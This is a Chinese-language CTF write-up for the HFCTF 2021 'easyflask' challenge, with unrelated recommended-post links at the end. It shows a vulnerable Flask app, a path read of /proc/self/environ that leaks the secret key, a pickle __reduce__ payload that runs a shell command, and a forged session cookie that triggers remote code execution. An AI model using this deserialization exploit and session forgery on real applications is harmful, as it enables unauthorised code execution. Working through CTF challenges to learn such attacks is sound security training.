[HFCTF 2021 Final]easyflask

这ctf打着真累。刷题根本刷不完,知识点好多。。。也是好久没写,一直在准备hw,今儿整一个python的反序列化入门吧。呜呜呜,好多反序列化的题。。。

就先跟着提示走就可以了。直到我们找到了这个

复制代码
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

信息很多,有密钥,有pickle模板。在/admin下 ,很明显的反序列化了。重点在于这个

__reduce__魔术方法的返回值是tuple类型 时就可以实现任意代码执行

详情可以看这:https://blog.csdn.net/weixin_45669205/article/details/116274988

我就直接做题了。也是卡了好久。这里可能存在任意文件读取。去读一下环境变量

复制代码
file?file=/proc/self/environ

密钥:glzjin22948575858jfjfjufirijidjitg3uiiuuh

我看了好多大佬wp,都是使用公网主机连shell。没有公网主机好麻烦的。所以还可以这么构造

复制代码
import os
import pickle
from base64 import b64encode

User = type('User', (object,), {
    'uname': 'tyskill',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system, ("cat /flag>/test2",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())

#这个脚本也要在kali下运行!!!

因为我们要执行命令,所以admin是不是1不重要

复制代码
运行后:gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu

在kali上执行(都做到这了,工具应该都有吧)

复制代码
这是解密后的格式:{'u':{'b':'gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu'}}

kali加密命令:python3 flask_session_cookie_manager3.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu'}}"

session:eyJ1Ijp7ImIiOiJnQVNWS3dBQUFBQUFBQUNNQlhCdmMybDRsSXdHYzNsemRHVnRsSk9VakJCallYUWdMMlpzWVdjK0wzUmxjM1F5bElXVVVwUXUifX0.ZicaKQ.t44JF82CUrZXtW9WygwOrIqqluU

然后把这session拿去访问/admin就可以了。

这样就不需要公网主机拿shell得到flag。。。

1.那个user类的格式已经在源码里给出来了,我们可以自行添加魔术方法。

2.那个字典格式是用已知的session解密出来的,替换掉里边的b就行。(我在windows运行py是不彳亍的,全程在liunx运行,返回500报错,但是命令已经执行)

相关推荐
Q26433650231 小时前
【有源码】基于Hadoop生态的大数据共享单车数据分析与可视化平台-基于Python与大数据的共享单车多维度数据分析可视化系统
大数据·hadoop·python·机器学习·数据分析·spark·毕业设计
计算机毕业设计木哥2 小时前
计算机毕设选题推荐:基于Hadoop和Python的游戏销售大数据可视化分析系统
大数据·开发语言·hadoop·python·信息可视化·spark·课程设计
小蕾Java2 小时前
PyCharm 2025:使用图文教程!
ide·python·pycharm
至此流年莫相忘2 小时前
配置Python环境之Conda
python·conda
cooldream20092 小时前
深入解析 Conda、Anaconda 与 Miniconda:Python 环境管理的完整指南
开发语言·python·conda
B站计算机毕业设计之家2 小时前
多模态项目:Python人脸表情系统 CNN算法 神经网络+Adaboost定位+PyQt5界面 源码+文档 深度学习实战✅
python·深度学习·神经网络·opencv·yolo·计算机视觉·情绪识别
大模型真好玩3 小时前
LangGraph实战项目:从零手搓DeepResearch(一)——DeepResearch应用体系详细介绍
人工智能·python·mcp
Goona_3 小时前
PyQt批量年龄计算工具:从身份证到指定日期的周岁处理
python·小程序·交互·pyqt
B站_计算机毕业设计之家3 小时前
Python+Flask+Prophet 汽车之家二手车系统 逻辑回归 二手车推荐系统 机器学习(逻辑回归+Echarts 源码+文档)✅
大数据·人工智能·python·机器学习·数据分析·汽车·大屏端
MoRanzhi12034 小时前
SciPy傅里叶变换与信号处理教程:数学原理与Python实现
python·机器学习·数学建模·数据分析·信号处理·傅里叶分析·scipy